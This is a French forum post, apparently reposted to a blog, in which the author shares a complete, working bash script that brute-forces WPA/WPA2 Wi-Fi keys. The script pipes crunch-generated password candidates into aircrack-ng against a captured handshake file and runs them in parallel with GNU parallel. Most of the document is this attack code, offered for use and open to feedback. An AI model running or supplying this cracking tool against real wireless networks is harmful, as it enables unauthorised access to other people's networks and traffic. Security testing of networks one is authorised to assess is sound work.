Salut, je suis Rodrigue Daniel
Je partage avec vous mon script bash, permettant de faire le crack par force brute sur les clés WPA(ou WPA2) pour un réseau WIFI.
Mon script fait la combinaison de trois programmes : crunch, aircrack-ng, parallel2. En effet une fois que l'on a récupéré le fichier issu du challenge entre un client légitime et le point d'accès ciblé, alors l'on peut utiliser ce script pour lancer une attaque par force brute pour casser une clé WPA(ou WPA2). Voici mon script :
Vos critiques, vos suggestions seront la bienvenue...
MERCI
Je partage avec vous mon script bash, permettant de faire le crack par force brute sur les clés WPA(ou WPA2) pour un réseau WIFI.
Mon script fait la combinaison de trois programmes : crunch, aircrack-ng, parallel2. En effet une fois que l'on a récupéré le fichier issu du challenge entre un client légitime et le point d'accès ciblé, alors l'on peut utiliser ce script pour lancer une attaque par force brute pour casser une clé WPA(ou WPA2). Voici mon script :
Code:
#!/bin/bash
#
# bruteForceWPA : Script de crack WIFI des clés WPA/WPA2
# Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)
# Mon blog : rodriguedaniel.blogspot.com
# 16/08/2015
# Dépendances : crunch, aircrack-ng, parallel2
# Testé sur Ubuntu et Kali Linux
set -u
###########################################################################################
# Definitions des variables
mini="" # variable contenant la longueur minimale des mots de passe
maxi="" # variable contenant la longueur maximale des mots de passe
ensCarac="" # variable contenant l'ensemble des caractères à utiler
numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser
fichierCap="" # variable contenant le fichier .cap à craquer
chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI
option="" # variable contenant les options
optionSeul="" # variable spécifiant le traitement unique de l'option -h ou --help
comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite
# Ensemble des caractères à utiliser
format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]'
format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]'
format3='3 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+= ]'
format41='4 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~[]{}|\:;"'
format42="'"
format43='<>,.?/ ]'
###########################################################################################
# Debut du script
version="0.2"
clear
echo -e "\e[00;31m###########################################################\e[00m"
echo -e "\e[00;31m# #\e[00m"
echo -e "\e[00;31m# bruteForceWPA : crack wifi (WPA/WPA2) #\e[00m"
echo -e "\e[00;31m# #\e[00m"
echo -e "\e[00;31m###########################################################\e[00m"
# Vérification du mode root
if [[ $EUID -ne 0 ]]; then
echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n"
exit 1
fi
# Vérification de la présence du programme crunch
which crunch >/dev/null
if [ $? -eq 1 ]; then
echo -e "\n Erreur : Impossible de trouver le programme crunch, installez-le et rééssayez.\n"
exit 1
fi
# Vérification de la présence du programme aircrack-ng
which aircrack-ng >/dev/null
if [ $? -eq 1 ]; then
echo -e "\n Erreur : Impossible de trouver le programme aircrack-ng, installez-le et réessayez.\n"
exit 1
fi
# Vérification de la présence du programme parallel et de sa bonne version
which parallel >/dev/null
if [ $? -eq 1 ]; then
echo -e "\n Erreur : Impossible de trouver le programme parallel, installez-le et réessayez.\n"
exit 1
fi
while getopts ":a:c:f:g:hm:p:-:" option ; do
if [ "$option" = "-" ] ; then
case $OPTARG in
help ) option=h ;;
#max ) option=g ;;
#min ) option=p ;;
* ) echo "$(basename $0): Option inconnue $OPTARG"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
option=""
;;
esac
fi
case $option in
h ) echo -e "\nVersion $(basename $0) $version - (C) 2015"
echo -e "Auteur: Rodrigue Daniel (email : rodrigue_daniel@yahoo.com) \n"
echo "Syntaxe : $0 [option...]"
echo -e "\nOptions :"
echo " -a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1)."
echo ""
echo -ne "\t"
echo $format1
echo -ne "\t"
echo $format2
echo -ne "\t"
echo $format3
echo -ne "\t"
echo -n $format41
echo -n $format42
echo $format43
echo -e "\t (Par défaut l'option -a est pris en compte)"
echo -e "\n -c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire)."
echo " -f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire)."
echo " -m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' ."
echo " -g <entier> : Longueur maximun des mots de passe (par défaut -> 15)."
echo " -h, --help : Cet écran d'aide."
echo -e " -p <entier> : Longueur minimun des mots de passe (par défaut -> 5).\n"
optionSeul="o"
exit 1
;;
a ) if [ "$optionSeul" != "o" ] ; then
if [ "$comSyntOpt" = "m" ] ; then
echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
numEnsCarac=$OPTARG
case $numEnsCarac in
1 ) ensCarac="mixalpha-space";;
2 ) ensCarac="mixalpha-numeric-space";;
3 ) ensCarac="mixalpha-numeric-symbol14-space";;
4 ) ensCarac="mixalpha-numeric-all-space";;
esac
fi
fi
;;
c )if [ "$optionSeul" != "o" ] ; then
chaineEssid=$OPTARG
fi
;;
f ) if [ "$optionSeul" != "o" ] ; then
if [ "${OPTARG##*.}" != "cap" ] ; then
echo "Nom fichier incorrect"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
fichierCap=$OPTARG
fi
fi
;;
g ) if [ "$optionSeul" != "o" ] ; then
maxi=$OPTARG
fi
;;
m ) if [ "$optionSeul" != "o" ] ; then
if [ "$numEnsCarac" != "" ] ; then
echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
ensCarac=$OPTARG
comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser
fi
fi
;;
p ) if [ "$optionSeul" != "o" ] ; then
mini=$OPTARG
fi
;;
: ) if [ "$optionSeul" != "o" ] ; then
echo "Argument manquant pour l'option -$OPTARG"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
fi
;;
? ) if [ "$optionSeul" != "o" ] ; then
echo "$(basename $0): Option inconnue $OPTARG"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
fi
;;
esac
done
# Exécution du crack de la clé WPA/WPA2
i=${mini:-5}
j=${maxi:-15}
if [ $i -eq $j ] ; then
echo "1" > /tmp/temporaire
echo "$i" >> /tmp/temporaire
else
while [ $i -le $j ] ; do
echo "$i" >> /tmp/temporaire
i=$((i + 1))
done
fi
bruteForce ()
{
if [ "$numEnsCarac" = "" ] ; then
( crunch $1 $1 $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
else
( crunch $1 $1 -f charset.lst $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
fi
}
if [ "$optionSeul" != "o" ] ; then
if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then
echo "Les options -c et -f sont obligatoires"
echo -e "Essayer '$0 --help' pour plus d'information.\n"
exit 1
else
export -f bruteForce
export numEnsCarac
export ensCarac
export fichierCap
export chaineEssid
parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme
rm /tmp/temporaire
fi
fi
Vos critiques, vos suggestions seront la bienvenue...
MERCI
from Hackademics : Forum de hacking hackers white hat cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1mQ5DAK
via IFTTT
Aucun commentaire:
Enregistrer un commentaire